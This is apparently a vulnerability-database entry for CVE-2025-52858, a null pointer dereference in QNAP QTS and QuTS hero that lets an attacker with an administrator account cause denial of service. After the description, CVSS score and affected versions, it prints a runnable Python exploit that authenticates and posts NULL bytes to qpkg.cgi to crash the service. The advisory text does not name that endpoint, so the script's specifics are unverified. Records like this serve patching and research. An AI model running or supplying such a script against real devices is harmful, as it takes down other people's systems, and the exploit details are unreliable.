CVE-2025-52858

Description

A NULL pointer dereference vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains an administrator account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack. We have already fixed the vulnerability in the following versions: QTS 5.2.6.3195 build 20250715 and later QuTS hero h5.2.6.3195 build 20250715 and later

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2789:build_20240607:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

QTS < 5.2.6.3195 build 20250715

QuTS hero < h5.2.6.3195 build 20250715

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-52858 PoC - QNAP NULL Pointer Dereference DoS
# This PoC demonstrates triggering a NULL pointer dereference
# to cause denial of service on vulnerable QNAP QTS/QuTS hero systems.
# Note: Requires valid administrator credentials.

import requests
import sys

TARGET_URL = "https://<qnap-nas-ip>:8080"
ADMIN_USER = "admin"
ADMIN_PASS = "<admin_password>"

def trigger_null_deref(target, username, password):
    """
    Send a crafted request to trigger NULL pointer dereference
    in vulnerable QNAP service component.
    """
    session = requests.Session()

    # Step 1: Authenticate as administrator
    login_url = f"{target}/cgi-bin/authLogin.cgi"
    login_data = {
        "user": username,
        "pwd": password
    }

    try:
        resp = session.post(login_url, data=login_data, verify=False, timeout=10)
        print(f"[*] Login response: {resp.status_code}")
    except Exception as e:
        print(f"[-] Login failed: {e}")
        return False

    # Step 2: Send crafted request to vulnerable endpoint
    # The malformed payload triggers NULL pointer dereference
    vuln_url = f"{target}/cgi-bin/qpkg/cgi-bin/qpkg.cgi"
    crafted_payload = {
        "action": "get_qpkg_info",
        "pkg_name": "\x00" * 256,  # NULL bytes to trigger dereference
        "func": "all"
    }

    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "X-Requested-With": "XMLHttpRequest"
    }

    try:
        resp = session.post(vuln_url, data=crafted_payload,
                          headers=headers, verify=False, timeout=10)
        print(f"[*] Exploit response: {resp.status_code}")
        print("[+] Payload sent. Target service may have crashed.")
        return True
    except requests.exceptions.Timeout:
        print("[+] Target appears unresponsive - DoS likely successful")
        return True
    except Exception as e:
        print(f"[*] Request result: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url> [username] [password]")
        sys.exit(1)

    target = sys.argv[1]
    user = sys.argv[2] if len(sys.argv) > 2 else ADMIN_USER
    pwd = sys.argv[3] if len(sys.argv) > 3 else ADMIN_PASS

    trigger_null_deref(target, user, pwd)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52858
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52858
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52858/
[4] VulDB https://vuldb.com/cve/CVE-2025-52858
[5] https://www.qnap.com/en/security-advisory/qsa-25-36

Raw JSON Data

JSON

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